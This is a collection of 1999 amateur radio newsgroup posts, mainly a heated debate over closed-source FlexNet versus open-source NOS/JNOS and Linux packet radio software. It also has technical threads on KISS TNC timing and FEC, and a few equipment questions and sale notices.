It's called "progress". You can go ahead and use the latest stuff from the 70's, if nostalgia is what you enjoy best. If you stick your head deeply enough into the "tcpip sand", then you can pretend that nothing else exists. Go for it!
Deeper!

>
>Could it be that people are interested in using machines that don't run

Windows API will do the same thing for you. Linux will be much faster and more stable, but most people are using Windows. I am also working on a soundcard based DSP software, using Visual Basic as the GUI and a DLL in C++. The soundcard DMA buffer setup is only a few lines long in VB and can do multiple buffers. I have no problem sampling at 44kHz.

Good luck,
Bill

Well, let's be accurate here. flexnet was trotted out after years of NET,
NOS, and
Netrom making their contribution. flexnet wasn't around in the DOS 5 days,
while NET, NOS, and Netrom were.

I'll let you in on a secret: the reason why flexnet will never be released
in source
form, is that most of the ax.25 and basic algorithms were lifted directly
out of
previous packet software, and merely modified (hacked) to its present form.

Steve

P.S. Charles, the correct abbreviation is "etc." Not "ect."

Well, it was a simple way to use the serial port. BASIC always had a
built-in access to the parallel and serial ports of IBM PC's and clones.

When I took my Engineering Intro class in 93 after retiring from the
military, they were still using Fortran as THE language you had to learn.
BASIC is pretty easy to an engineer, and I think the APRS author has
an engineering background.

Visual Basic does contain Object Oriented syntax. A good program to
see that, is the MDT software used to decode the police packet, that is
on the internet. It uses C for the WAV file processing, and VB for
everything else.

I started programming in BASIC with the HP 2000A thru C system in
1971. That was a great system. One of the students programmed a
Fortran II compiler in BASIC :-) My Senior project was an Assembler
for the instructors machine language simulator he wrote in BASIC.

In 1978 I went to OU and discovered the PDP-11/73 BSD 2.9 system,
and C programming. To me, after several years of Assembler, the
C language was like the "killer Assembler front-end" ha. The
C compiler I bought for the H-89 was from The Software Toolworks,
and allowed you to embed assembler with C, so I could take old
code, and wrap it in the C blanket, and use the Unix redirection and
pipe methodology (filters).

I still will program in C as a first cut, but am converting to Object
Oriented programming. Structured programming outside of
embedded computing is pretty much over. If you aren't fluent in
C++ or Java, you are rapidly becoming a dinosaur.

Timothy J Salo wrote
>
>I haven't programmed in BASIC for probably 30 years, but when I tried to

I think most of the answers to your questions are "yes." BASIC today
does contain many constructs, but mostly because of Visual Basic and
Windows.

If FlexNet were the only software in existence, I suppose your argument above would have some merit. Here on planet Earth though, it's silly as hell.

You're just whining because your cherished "open development" system has and always will have serious competition from programmers using other, less open systems, including individual programmers. In this case, FlexNet, closed and privately developed, works demonstrably better for it's intended purpose than any open-development software designed to do the same job.

A good programmer/programmers who had some position to defend would see the above as a "heads up" and go to work. It's just the lazy geeks and dilettantes who whine because somebody else does something better. Fact is, the FlexNet protocol has already been reverse-engineered several times by programmers who got off their cans instead of whining. (XNet and the AGW packet engine both include FlexNet networking support.) That's why the fact that some whining geekoid claimed it couldn't be done was met with open amusement.

Precisely. Note that the TCP people will add the caveat that the
mechanism used to enhance the reliability of a link ought not rapidly
change the characteristics of the link (as perceived by the end
hosts, more specifically the TCP in the end hosts). Specifically, the
link-level mechanism ought not change the propagation delay of the link.

Link-level retransmissions have the effect of changing the apparent
round-trip-time as seen by TCP. As a result, TCP may timeout and
retransmit while the link-level protocol is also trying to recover
via retransmission. (Throwing away TCP retransmissions is, from a
protocol standpoint, a terrible hack.)

FEC mechanisms have the advantage that they don't change the propagation
time of the link and therefore don't interact poorly with TCP's computation
of the round-trip-time and retransmission time outs.

I think people have even experimented with adaptive FEC strategies that
use a stronger FEC mechanism on poor links or when a link degrades,
(but this isn't my area, so I mostly forget).

From: Christopher J Hoffmann <christopher.j.hoffmann@gte.net>
Message-ID: <77p8fk$k0g$1@news-1.news.gte.net>
Source record: 20283

Hi guys and gals. I was thinking that during our next club meeting I would put on a packett demo to show the others what it's all about. I was wondering if anyone here has done this before and might know what key details I should elaborate on. Also I was thinking of starting a PBBS here since the previous one was taken off air due to the internet. Anyone have any info they could send me on what it takes to get one started ? Thank you for your time..

Chris KD6NSD/7

Actually this has been done for quite some time. ISDN cards are being
sold with software to emulate an analog modem, so the owner of the ISDN
card can still call systems that accept only modem calls. Normally one
would not use that for Internet access, but only as a fallback for calling
the odd BBS or sending a FAX message.

(For the Americans: an ISDN card is like a telephone interface. It
is just a serial interface that you can feed 8 Kilobyte/s of 8-bit samples
and it will transmit them to the other side. When the other side still has
an analog line the telecom operator will convert your bytestream into
an analog waveform for him, so you can use a piece of (DSP) software and
an ISDN card to synthesize arbitrary analog waveforms for processing by
a remote modem, fax or human ear. It does the reverse path at te same
time)

Ok, but that is a design mistake.
In early documents it was boasted as being unnecessary in the architecture
of the Flexnet router, but now you say it would be required to allow
independent implementations... Maybe it would have been better to include
it anyway?

(IP does not "require" a hop counter either, but the designers were clever
enough to still include one to avoid loops that could develop for
unforeseen reasons)

>Of course loops will sometimes build in any real network,

This is why many modern routing protocols have authentication, filtering
etc.

>important
>to fully understand the way the router works, before you try to
>implement it.

Maybe the designer should publish a detailed pseudocode or state table
of what the router should do in all imaginable cases, and then the rest
of the world can write an independent implementation that conforms to
that specification.
When the specification is constructed from the actual Flexnet source
code, the "when there is a bug only DK7WJ should be responsible" problem
largely disappears: when a Linux version does the same thing as the
published pseudocode, the bug is in the spec. Else it is in the
impementation, which can be corrected.

>Trying to write a specification for this router would be a tedious task,

>hardware/software)
> [extremly difficult].

Normally this is done before implementation. If such a spec cannot
be written, then how could the router be implemented?

>4. have to specify some other features, mandatory for FlexNet or for the
>users
> of FlexNet ("reversable" AX.25 address field, PID independed
>transport, fully
> adaptive parameters...)

These are not part of the router spec, and they are not a part of the
flexnet networking either. The flexnet group has tried before to make
these features somehow connected to flexnet, but I have shown that it
is easy to do things like this in a NET/ROM network. Why? Because they
are features of the local node, not of the network.

(e.g. on my software it IS possible to connect to someone via first and
last node calls as digipeaters, and the circuit is setup through NET/ROM
even if the remote node is running another NET/ROM clone!)

I also have channel-loading dependent persistance, adaptive maxframe, etc.
Not related to Flexnet at all! Only to the implementation.

>The interoperability is still given without a spec, as "on the outside"
>every FlexNet
>digipeater uses AX.25.

Yes, a pity...
I would like it to provide IP routing.

>The issue, Charles, is not about efficiency. The issue is apparently
>one of latency. Frankly, I tend to believe the emphasis on low-latency
>may be overwhelmed by the rather long latency typical of PLL transmitters.

The problem with KISS is not in the bytes or bits wasted to send a HDLC
frame in ASYNC format, but in the control of the channel that is lost.

The AX.25 protocol engine on the PC wants to know if the frames it is
sending are actually making it to the air. It would like to start a
retransmission timer only when the frame actually has been sent.
But in the KISS model, al it can do is start the timer when it has
shipped the frame to the TNC. From that moment, an arbitrary amount
of time can elapse until it is actually sent, and the retransmission
timer can tick and re-send the frame before the first copy even gets
on the air!

The resulting double transmissions are the main concern. Not the
efficiency on the wire between PC and TNC, but the efficiency on the
radio channel.

The worst aspect is that the problems described above tend to occur when
the channel is heavily loaded, and contribute more traffic to the already
loaded channel. This leads to a congestion collapse.

The "solution" is to set longer-than-really-required retransmission
timeouts. These hamper performance when frames are lost.
An AX.25 engine that is closely coupled to the radio channel can achieve
much better performance, both in efficiency and in throughput.

A Baycom modem provides this coupling, a KISS TNC does not.
An SCC card provides the best of both worlds.

(the latter fact makes it unfortunate that the Flexnet people don't want
to write a generic SCC card driver, but include only a driver for the cards
produced by their Baycom friends. and even that driver is only included

as an unsupported item commented as "badly written". One would expect
DK7WJ to put his effort in writing a really optimal SCC card driver so
that everyone can have the good channel control that he likes to have)

I hope you realize that I am in Europe as well, and that we (in the
Netherlands) do IP a different way. We have nodes running on PC hardware
and doing NET/ROM and TCP/IP routing natively (i.e. we don't use separate
systems for IP routing)

>And of course no one needs a large table with AX.25
>callsigns,
>my routing table is less than 10 entries long. We are mainly using Linux
>as
>an IP router above FlexNet - yes, this Linux box of course needs a large
>table of AX.25 calls. But that is a totally different story.

That is a very inefficient solution, strange that you come up with it
when you are so concerned about efficiency of the channel usage!

What would be good (and what we have here) is a system of nodes where
every IP user can point his default route, and the nodes themselves make
all the routing decisions. The user does not need to build a table of
AX.25 calls, and is not tempted to use a small table instead of an
optimal table.

With a small table, the IP packets for different directions are sent
to a system roughly the right way, and the underlying Flexnet network
is responsible for transporting the packets there. Once they arrive
there, that system will again route the packets more close to the
destination, and use another Flexnet path to get the packets that way.
In the presence of network topology changes, bot permanent (network
extensions or cutbacks) or temporary (link failures), such a structure
will usually not choose the optimal route.

The optimal route would be chosen when the IP router closest to the source would know about the IP router closest to the destination, and would use one Flexnet circuit to send the IP packets directly from here to there. But that structure would require the large table I mentioned.

> Up to now
>no one has made a statement of how to exchange IP routes between IP

I have posted about my project a week or two ago in this thread, but nobody has reacted. I can re-post the message if you like.

>This has all nothing to do with FlexNet. FlexNet was written as a fast
>and
>reliable AX.25 router. It was made for small 8bit MC6809 based systems
>with
>limited memory. There simply wasnï¿½t enough resources available to
>implement
>a proper IP-router

In fact, an IP router should be easier than an AX.25 router. IP addresses, when cleverly assigned, can be used in a hierarchical way. AX.25 callsigns must be put in a table one by one.
IP addresses are also smaller than AX.25 callsigns.
The only extra complexity with IP is the option handling and fragmentation, but it is not that bad.

Maybe what you mean is that a system as I described in my earlier (long) posting cannot be built on that 8-bit platform, and this could be true. The TCP/IP folks were too much ahead of time. In 1987 TCP/IP was seen as unnecessary extra overhead on top of AX.25. Today, many amateurs would be very happy with a TCP/IP based packet radio network where they can use all the applications that are already installed on their new machine, and maybe a small number of them would continue to use raw AX.25 connects that we can emulate on top of an IP network.

Why use a "packet radio program" to chat when you can use IRC or ICQ?
Why use a packet BBS when you can use a usenet news server and Agent?
Why use YAPP or "//wr" when you can use FTP or HTTP?

>FlexNet is based on the assumption that sysops may be not too bright and
>that it is better for the complete network, if everything is
>adaptive and the sysop only has to setup things he understands. An IP
>network
>where every sysop has to understand TCP/IP works will never work).

Flexnet has solved that problem by using a closed architecture and no settable parameters, and this method can be used with both AX.25 and IP. When one can set the AX.25 callsign, one should be able to set the IP address as well.

Again correct. This is the correct strategy for L2. In a radio network,
L2 should be connectionless and employ FEC. ARQ should be a last
resort.

I also want to re-emphasize that L2 should only act across one hop.
It should never attempt to be multihop. That's not its role. That's the
role of the L3 protocol.

Try realtime Linux. There is now a realtime kernel for Linux available
(developed for CNC machine control purposes) from the NIST website.
This gives you true deterministic realtime scheduling. It can be added
as a module to the newer Linux kernels.

Let me take another approach to this.

Why do you feel that not paying for software is legitimate? Are you not aware of how complex it is to develop good, useable software? Are you aware of the time it takes once development is started, to test and refine the program, so the minumum amount of 'bugs' go out with the program? Are you not aware that a software company provides jobs to hams and other people in the country? Are you not aware that if a piece of software is not paid for, that it adds up to an amount that a company could hire more people, to take the load off of the current staff, and create higher quality software?

Maybe you're just unaware of the long term results of what you and others do when you don't pay for software.

And if there aren't 2 FlexNet digipeaters in your area, what then???

And since the source code, or even the specs, aren't published, then I think another question that should be asked is... Is FlexNet Y2K-compliant, or are all these wonderful nodes going to crash on 1/1/2000?

Rob, I'm running a FlexNet driver for my DRSI card as we speak. You are
right about BayCom cards being well covered, but other equipment is also
taken care of, and new drivers are appearing at an impressive rate. When you
visit the FlexNet pages, be sure to refresh your browser.

Of course, most procols are "designed" the way that Flexnet was: first
a simple design is made on the back of a sales receipt during a chat with
a friend at the bar, then coding starts and the apparent problems are
ironed out until it is "without bugs". Later, no spec exists of the
finished protocol, because the original spec was never updated to reflect
the actually implemented protocol.

From: James Nipper <jnipper@southeast.net>
Message-ID: <36A12353.164A@southeast.net>
Source record: 20211

I need several of the pre-made 5 pin modular plug/cable assemblies
that are used in the 5 pin plug radio data ports on the Pk232.

If any of you have 1 or 2 of these that you are not using, I would be
glad to buy them from you asap. Or, if you know where I could get them,
I would appreciate it very much for the info. I wrote to Timewave, but
got no response.

Thanks for any help you can provide.. 73 de Jim K4PYT

Strange you didn't get a response. Timewave is usually pretty good.

Try Ross Distributing at www.rossdist.com. I think I saw some of the cables you need in his long listings last month, but a phone call would confirm it. If they're the ones I'm thinking of, they were about 5 bux each or so.

This radio is brand new.... OK, I took it out of the box and played with it. It's not going to fit my style of operation for an HT. I thought I could live without dual UxU receive, but I cant!.

So, someone is going to get a deal. They are going for anywhere from $450 - $475. I got a good deal on it to start with so I'll let it go for $400 + Shipping.

I'd prefer to conduct a local deal, if you are in the Atlanta area and would like to contact me, please do so, if you are interested from other parts of the country, reply via email and we'll see if we can work out a deal.

Serious inquiries only!

Thanks,
Alan

No, actually, I'm not. You yourself frequently tell
non-amateurs to "buzz off" when they dare to discuss amateur
radio. When you come around and start blathering about software
engineering in such an ignorant and emotional manner, it makes
me question what kind of engineer you are.

In fact, you very recently asked someone what kind of packet
software they'd written, as if this would qualify them to talk
about building packet software. Well, we're talking about
software engineering here, and I rather hope you'd hold yourself
to the same standard you hold others. If you think that non-amateurs
aren't qualified to speak about amateur packet radio, then you
ought to also think that non-engineers aren't qualified to
speak about software engineering. Don't get me wrong, I'm
not tellin anyone to "buzz off", not you, not anyone, but I'm
really curious what qualifies you to make the strong statements
you do.

How do you define efficiency, Brabham? What do mean by this statement?
Why don't you just show us all how smart you really are and write down
the mathematical formula or algorithm for determining this "efficiency"
you speak of?

For example, when one talks about fuel efficiency, they give a
formula something like "gallons of gasoline consumed / miles travelled".
Or, when one talks about efficiency of memory allocation code, they
might talk about "bytes of memory allocated / bytes of memory used".
Some networking folks might talk about "bytes of overhead versus
payload". These are all ways of relating measurable quantities
to each other in a repeatable way.

Now, would you please explain how KISS is an "inefficient" protocol?
What things are you measuring and how are they related?

> Moron.

I'm starting to believe that word doesn't mean what you think it
does. (Princess Bride reference).

:
: You're missing the boat, Charles. Since the specification and implemention
: of Flexnet are proprietary, we don't know just how advanced Flexnet
: really is. There's no open, independent review of the technology.

What specification :-)

From the this discussion in this thread, it appears quite clear to me
that a specification for the Flexnet protocol does not exists nor has
it ever existed (proprietary or not). Apparently the only protocol
"specification" is the source code. However, when designing any
non-trivial systems, a specification is written before the
implementation, but this does not seem to be the case in this
situation.

I have been interfacing various exotic devices to various computer
systems during the last few decades and usually the hardest part of
implementing the interface protocol is getting the protocol
specification for that device. For some strange reasons, the hardest
to get specifications are _not_ those that of commercial interest do
not want their device to be connected to a computer or those protocols
containing something brilliant, but those containing severe design
flaws (such as deadlocking if a bit error occurs in a critical
window). OTOH, if I had written such a crappy protocol specification,
I would not want it to become publicly available :-).

I have no first hand knowledge if this also applies to Flexnet, but
from the eagerness some in this thread defend why the protocol is kept
proprietary, it is hard to find any other explanation.

Yes...

>
>INP is openly developed - but it isn't popular enough to meet your
>definition of "advanced"

My definition of "advanced" has nothing to do with popularity. You can always use a handy reference for "my definition" of any particular word, when you are confused. (Which seems to be much of the time.). Try a dictionary.

>
>Say what you mean, don't make everyone guess.

Quit guessing what I mean. I used to have a girlfreind who did that. She would "spin" and "interpret" such simple statements as "Hey, bring me a Diet Coke!", managing somehow to miss the intended meaning completely. I thought about her poor mental hygene being passed on to any children we might have, and decided to shop around a bit more before I considered marraige. Now I'm glad I did.

Yes, that's what I've been saying all along. There's no particular problems to work around; It's just different from the old-style stuff you were used to. If you want to see problems, try ROSE/FPAC. FPAC relates to the old ROSE stuff as Win98 relates to Win95... Marginally more functional, quite a bit more buggy.

>
>> It's called "progress". You can go ahead and use the latest stuff from
the
>
>Do try to keep up, Charles - Why does ham radio need another protocol,
>just because the flexnet team is unwilling to support platforms besides
>Win95 & DOS?

It doesn't. You are actually much smarter to run the DOS version in an old 386 PC to handle all the Radios/TNCs, linked by serial or ethernet link to your LINUX box or whatever for applications.. (Whenever I hear whining about supporting obscure, non-standard platforms, LINUX comes to mind.)

I run two linked DOS boxes.. One runs FlexNet/BBS, the other runs FlexDigi/DXC. That gives me a FlexNet node with a 255 channel chat, DX Cluster, and a PMS.

>Of course, if they were to write a formal spec for how it
>works, then the core flexnet team wouldn't even have to program it.

Fortunately, it didn't work out that way. FlexNet is actually more stable and bug-free than the good old G8BPQ node software I have used for years. I've run JNOS before, and watched it crash for a variety of reasons on a regular basis. I have set up and operated a great variety of Packet Radio software over the years, for the purpose of writing up review articles. JNOS is, without a doubt, the buggiest and most poorly crafted software available to Hams. It's the bottom of the barrel, without a doubt. I attribute *NOS's buggy worthlessness to the fact that it's a re-hack of a re-hack of a hack of what started off as pretty good software written by a (1)competent programmer; Phil Karn's NOS.

After seeing what a "talented group of technically oriented Hams" did to Phil Karn's software over a decade, I'm glad those same morons are not able to get their fingers into FlexNet. VERY glad!

I like FlexNet as it is: Bug free, works better than anything else. Thanks but no thanks to the "thousand monkees/morons with computers" system. I prefer to use competent software written by competent programmers.

Is it practical/wise to use a tube-type power amp for Pactor or other ARQ digital modes? Specifically, does the constant Tx cycling stress a tube amp too much, is the T/R switch time of most tube amps suitable, etc... Seems a solid-state amp might be better for this application, but they are 2-3X the cost of an equivalent tube-type amp... been looking at the Ameritron units...

Thanks in advance for any input...

- Seth N6BMB

I was wondering if any one has had the same problemb as mine and
fixed it?
I have a new mfj 1276 tnc it has a bad audio hum on transmit .
i am using a Kenwood tm 241a transciever A kenwood mic cord to
connect the two, (I changed it from a unshielded one) it changed
nothing. I can copy and send but I think it can do better .
Does any one know how to turn the mic gain down on the 241a?
The 241a has no hum with voice. puzzled?

Your criticism was presumably on the approach of open software, somehow
implying that somehow it wasn't a valid way to design reliable, high quality
software. Such an opinion is (in the view of many professional software
engineers, as well as untold masses of talented hackers) almost certainly
incorrect. Nobody was arguing with your assertion that Flexnet works, or
that it is high quality, merely that the open software development philosophy
has enabled the creation of many significant works, and that packet radio
could benefit from such an approach.

> Fortunately, it didn't work out that way. FlexNet is actually more stable

And since you had the source code, you could have figured out why, fixed it
and delivered the bug fix to other hams so that EVERYONE could have
benefitted. Or at least you could if you bothered to learn how to program
instead of waiting for better appliances to appear. Of course, if (god
forbid, we know it is impossible) you discovered a bug in Flexnet, you'd pen
some email to the authors and be forced to wait for them to fix it.

> After seeing what a "talented group of technically oriented Hams" did to
> Phil Karn's software over a decade, I'm glad those same morons are not able

You know, I still have a copy of Phil's original code. I still run it occasionally on various puny DOS boxes I want to link to my LAN. It works fine.

> I like FlexNet as it is: Bug free, works better than anything else. Thanks

Many comptentent programmers are fully willing (even eager) to donate their efforts to free software. If you had vision that reached beyond the end of your nose, you'd be taking advantage of their labors.

Soundboard + high-end computer is a seriously false economy. Unless you
are single-task-only capable (able to do only one thing at a time),
or just want to see what it all looks like and then move onto something
else(*), they make sense.

But if you are more serious about this, if you plan on long-term usage,
a dedicated DSP unit and an el cheapo computer and a pair of ethernet
cards will be *VASTLY* cheaper than buying a brand new high-end CPU
and soundboard just to act as a modem. In fact, I would say that doing
such a thing is almost as silly as using a human brain to serve as a modem ...

(*) I might even argue that such functionality even encourages this kind of
behaviour, and in the long run, is counter-productive. But at this time
the introduction to the ideas and seeing high-performance signalling
actually work is more important ...

I don't doubt open development COULD be beneficial... I was merely pulling
my head down from the clouds of theory for a moment and taking a quick peek
at "observed reality". (Try it, some time.) In "observed reality", no
significant software expressly designed for use by Amateurs has resulted
from open development within the Amateur Radio programming community.

The greatest effort of those folks, *NOS, is widely recognised as a
bug-ridden joke when compared to ANY of the more competent software written
for Ham use by talented individuals and small groups of programmers. This is
not a theory I am discussing now. This is a fact.

I thought it was funny how W0RLI defended the open development deal, then
announced that HE (one person) was working on a new concept tcpip BBS. ;-)
You notice that Hank did not lay out every thing he had done so far so that

the mob could play with it. When he gets serious about producing a new bit of software he goes to work on it himself, consulting a few other folks but making all of the important decisions himself. A lot of competent programmers tend to do that.

Oh, yes, one more amateur programmer monkeying around with it will fix it right up. A professional would drop the whole thing (except Phil Karn's original code) in the bit-bucket and start over. In fact, I would be willing to take bets that that's exactly what W0RLI ends up doing.

Too many bugs, too many blundering hacks by half-educated programmers, ect, and so on. It's great for educational purposes, but don't hold your breath waiting for a solid, competent bit of software to come out of it.

>Or at least you could if you bothered to learn how to program

That's what I keep hearing. Phil Karn produced good code, and then the tcp-group took turns urinating all over it for ten years. The crowning achievement of all that whizzing around was *NOS, famous as the single most worthless and bug-ridden piece of software ever utilized by Hams. - Hardly a good testimonial for open development of Ham Radio software, but it will have to do since it is the only major example of such that we have to judge by.

Sorry, OM, but my "vision" is not clouded by any need to maintain any sacred cows. I go by observed reality, not what I would LIKE to think was true. I just stick with the facts, and the facts do not support the theory that open development is going to be very productive within the Amateur Radio community.

When and if any worthwhile software is developed by Hams using open development, I'll be the first to congratulate that group. Until that theoretical day, though, I will be working with the FACTS we have at hand now.

Actually, that is not that simple. Stability is not an add-on feature to
software, that you can contribute to a group effort. Stability of a C
program results from careful coding, and proper debugging. When you
have a project like JNOS where everyone can just throw in what he likes,
stability is not something you can contribute.

Sure you can submit a fix for a bug, but then you will just have to hope
that someone else, with lesser coding skills, is not going to break it
again.

Actually I am amazed that this works reasonably well in the Linux world,
because I have had quite bad experience with it in the development of
packet radio software. I also switched to a closed source and got the
thing reasonably stable.

Enkhui:PI1WFL} Connected to #AES:PA3AES-9
uptime
#AES:PA3AES-9} Uptime: 463/15:52:28 Started: Fri Oct 10 20:00:54 1997

Circuit(DXQclu:PI8DXQ PI8DXQ) <--> Circuit(EHV:PI1EHV PI8DXQ)

This is not an idle system, it is a router between a shack network
containing an active DX cluster and the local network node.

I wonder if any JNOS system ever came close to this :-)

Of course open software has big advantages. But you need a competent
and dedicated maintainer(group) to keep it stable. This has worked in
the Linux environment, but for some reason it hasn't in the packet radio
network software development. The group has split every time there was
some discussion.

Hello all,

I am looking for the most recent Software and Firmware for the AMT-3
Amtor/Rtty controller from ICS.
It was produced around 1989-1990.

I have got AMT-3 Firmware version 08
and Software (IBM-PC) Dos version 1.1

Perhaps anyone has information or source for these Firmware and Software ??

Tks in advance and best 73

T/R switch time is the key parameter. Many tube amps can make it,
though those with QSK switching are to be preferred. The T/R relay
does take a beating in the ARQ modes, so expect equipment life to
be shorter.

Frankly, I'd avoid use of an external amplifier at all. It is rarely needed. Try
a better protocol instead. I'd suggest giving PSK31 a try for converstational
use, or Clover II or PACTOR II for data use.

If you use PIN diodes for your T/R switch, they will work fine(milliseconds switch time)... Just make sure that your VSWR is low though..... :)

Earlier you maligned my choices of interesting, reliable and valuable
software as being of interest only to a geek minority. You seemed to imply
further that it was the approach that was doomed, and that such software was
the result of untalented, unprofessional programmers.

You might not like it, but the Linux AX.25 implementation works rather well.
And even if that didn't exist, packet radio _can_ benefit from the same
methodology that has benefited other aspects of computing.

The `observed reality' is that open source software evolves quickly. Bugs
are fixed quickly. Portability is improved. In general, it becomes
infinitely more useful than any closed source development.

Can individual programmers do great things? Sure, there is almost always a
key group involved in setting the major directions of free software. But the
real strength of open software comes from the parallel debugging, the ability
of individuals not originally involved to provide fresh insights,
perspectives and motivation.

If you are going to try to make money off of software, by all means, keep the source code protected. If you decide to release your software for free, I urge people to release their source code so that others can assist in making your software more capable, better debugged, and provide additional features you may not have forseen.

Well, perhaps you have very little confidence in your own abilities, but there are many with both the ability and the confidence to fix bugs and make improvements.

> Too many bugs, too many blundering hacks by half-educated programmers, ect,

Fine, so start over. Open source software can also provide a starting point for understanding what _not_ to do, as well as what to do. Flexnet can provide neither.

>

I remember using KA9Q for regular (gasp!) wire networking back in the days when there were only 8088 PCs around. The fact that we could use TCP/IP to move files back and forth and use telnet was great, infinitely more useful than the proprietary network solutions available back then. We _did_ fix a number of small bugs. And it served us well. More recent versions have all sorts of gruesome BBS features grafted on, which is just not very interesting, so I tend to (still occasionally) fire up KA9Q's NET.EXE on my DOS box that I use for packet.

Laugh Charles, your whole perspective is trying to maintain the sacred cow of AX.25 1200 baud packet networking. Your grasp of reality is at best tenuous. If open source software hasn't helped the amateur radio community, it says more about the amateur radio community than it does open source software. Mark

Open source software does not imply "anarchy". Generally most successful projects do have some core group whose purpose it is to verify that bug fixes work, to not allow creeping hacks into the code, and to maintain a master source distribution. That doesn't mean that the core group can't benefit from bug reports and fixes from the outside, or that major features cannot be added to the system by outsiders. Witness Linux or FreeBSD if you don't believe.

> Sure you can submit a fix for a bug, but then you will just have to hope
> that someone else, with lesser coding skills, is not going to break it
> again.

Again, that's the purpose of your core group, to audit fixes and ensure that they are redistributed in a timely fashion.

> Actually I am amazed that this works reasonably well in the Linux world,
> because I have had quite bad experience with it in the development of
> packet radio software. I also switched to a closed source and got the
> thing reasonably stable.

The entire methodology of open software is pretty new and rather radical. It is perhaps unsurprising that it is adopted in hard core computer fields first (it isn't even widely accepted there) and only later in amateur radio, a field which is much less up to date with respect to computing techniques and technology.

> Of course open software has big advantages. But you need a competent
> and dedicated maintainer(group) to keep it stable.

Presumably if you feel that your skills are adequate to creating some
software, your skills are adequate to monitor the work of others and manage
an open software project.

> This has worked in
> the Linux environment, but for some reason it hasn't in the packet radio
> network software development. The group has split every time there was
> some discussion.

Packet radio has many problems. Several technical. Many mental ones.
And for more about that, I'll let Charles continue.... :)

Hi.

Been preparing to upgrade the station with some computer control. Part of this is to control my Yaesu G-800-SDX rotor via my contest software. Yaesu wants $300 for the interface! That's almost as much as the rotor was when I purchased it.

So... anyone in hamland come up with or can guide me to a homebrew interface to control the Yaesu rotors? Sounds like a good project for the electronically able, unlike me.

Please respond directly (also to the group, if you want).

The desire and its manifestation to appropriate by force, fraud or other means the wealth and property created by the lives of others did not end with the Emancipation Proclamation. In a civilized society, it is reprehensible by whatever name you call it, even though most of us engage in that activity in one form or another, to one degree or another.

Rule #1 of the real world: If you cannot secure your property, some SOB will take it.

Rule #2: If you were not given, free of coercive influence, the product or use of the product, by the producer or owner or a legitimate agent; you stole it.

Hell to be human, aint it? Worse yet to be without fault.

Pete/wa4hei

338. Re: I have a question

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-17 00:00:00 UTC
From: Seth Miller <seth.miller@NOSPAMworldnet.att.net>
Message-ID: <36A27182.CAF8E084@NOSPAMworldnet.att.net>
Source record: 20234

I am fairly certain that the Winlink software looks for activity on the channel before transmitting, and of course will not transmit if any activity is detected. It could be that the BBS station simply couldn't hear you as well as you could hear them, or perhaps it was another station trying to contact the BBS that didn't hear you. I'm sure any interference is unintentional, in any event.

In cases where this does occur and the other station is automated, the best thing to do is just move a bit. Just one of those things. The BBS stations do serve a very useful purpose for those without landline access to the net, and I for one do not mind tolerating them one bit. Their operators are doing a lot of people a great service and receiving no compensation in return. Not a flame, just another point of view...

P.S. A good 500 Hz IF filter is a great investment, if you are not already so equipped.

- Seth

Sorry, I'm one of those guys who has no trouble staying on topic, and
sometimes I unreasonably expect everyone else to do so as well. You can talk
about anything you like, of course, but my remarks are confined to the
narrow scope of Amateur Radio. So you can pretty well take for granted that
when I talk about software, I'm talking about software written for and by
Hams.

CAN is a lot like IF, and that's a big IF right now, and will be until some
really decent software emerges from an undisciplined "thousand
monkees/programmers with computers" approach.

The performance of the ax25 implimentation in LINUX does not affect me one
way or another. I don't run LINUX, so how could it? Hams use C-64's, Macs,
palmtops, old vintage PC's, Amigas, Win3.11,
OS/2, you name it. What's so special about using another oddball operating
system? You guys really have a complex. Get over it.

>

features
>you may not have forseen.

Yes, that's exactly what the authors of FlexNet are trying to avoid, and
doing so is a key element to FlexNet's performance. The problem you are
having here is a bit of provincialism on your part. You are looking only at
programming practices and are outraged that your pet system did not produce
the desired "product". Meanwhile a larger pattern is whizzing right by you,
that has nothing particular to do with programming practice, but a lot to do
with this particular software's functionality. Any programmer who has spent
extra hours working out "user friendliness" (idiot-proofing) should know
what I am talking about. Getting the program to do it's basic task is only
half of the merry-go-round.

FlexNet's authors wanted to eliminate a big problem with Amateur Packet Radio networking software, and that problem was the static, user-adjustable parameters which no two hams agree upon of the setting up of. You would have to be an experienced Packet Radio op to understand exactly how much chaotic, cruddy operation results from maladjusted static, user-settable TNC parameters. An average TNC such as a TNC2 clone has dozens of adjustable parameters, very few of which are ever understood by the TNC's users. This, of course, leads to poor performance and lots of arguements over parameter settings. (Parm Wars)

So the FlexNet group developed a small-scale "expert system" which automatically, dynamically adjust all but two ot three TNC parameters according to current operating conditions. This takes parameter adjustment out of the SYSOP's and Users' hands, and has delivered a level of operating efficiency far beyond any of the User-settable, static parameter systems. It's like having a little expert on TNC parameters sitting in the box, constantly watching the link performance and fine-tuning your TNC's software for the very best performance. It removes the rather unreasonable need for every Packet op to either be an expert on link parameters or utterly cooperative with those who ARE experts. With FlexNet, intelligent software handles the TNC parameters and nobody argues about the settings or attempts to monkey around with them.

They've been tweaking this system for years and it works just fine, thank you. No modification is needed for FlexNet's intended purpose. If you wish to go beyond the author's intended purpose, you are quite welcome to write and develop your own system to do so.

If the protocol were "open", none of this would be possible, of course. Various hacks would arise with wildly differing parameter adjustment systems conflicting with each other, multiple bugs would arise, nobody could be sure which version to trust, and soon FlexNet would be just as silly and bug-ridden as *NOS is now. We've had enough, I think, of the "parameter wars" which FlexNet is finally putting to bed.
Thanks, but no thanks to open hacker access.

>

No, nothing like that. I quit to make time for other things. Serious programming is very demanding of both time and concentration, and is not worth doing half-way. So I quit. Lots of things I don't do any more, making room for lots of other things I will be doing instead.

Hey, I'm not the one who keeps forgetting that we are talking about software
for/by Amateurs.

>If open source software hasn't helped the amateur radio community,
>it says more about the amateur radio community than it does open source
>software. Mark

I won't argue with that, Mark. I've discussed things with several of the
*NOS hackers and none of them impressed me as having enough sense to wipe
their own bums. Maybe another group of Hams will do a better job of it,
bringing credit to the idea of open development of Amateur Radio software.

341. Whats the hot TNC

Newsgroup: rec.radio.amateur.digital.misc
Date: 1999-01-17 00:00:00 UTC
From: Rich McCabe <rmccabe@dwx.com>
Message-ID: <36a2bc80.0@207.206.192.3>
Source record: 20237

I am sure I will get a lot a varied results but I thought I would give it a shot..

I bought a TNC about 7 years ago and really found that it didn't interest me. Most of the stuff that was transfered was things I was getting E Mail anyway.

Well last night I was at my friends shack for the contest. (NN0I). He is using a nice contesting program and has packet ported into it. Now I am interested....

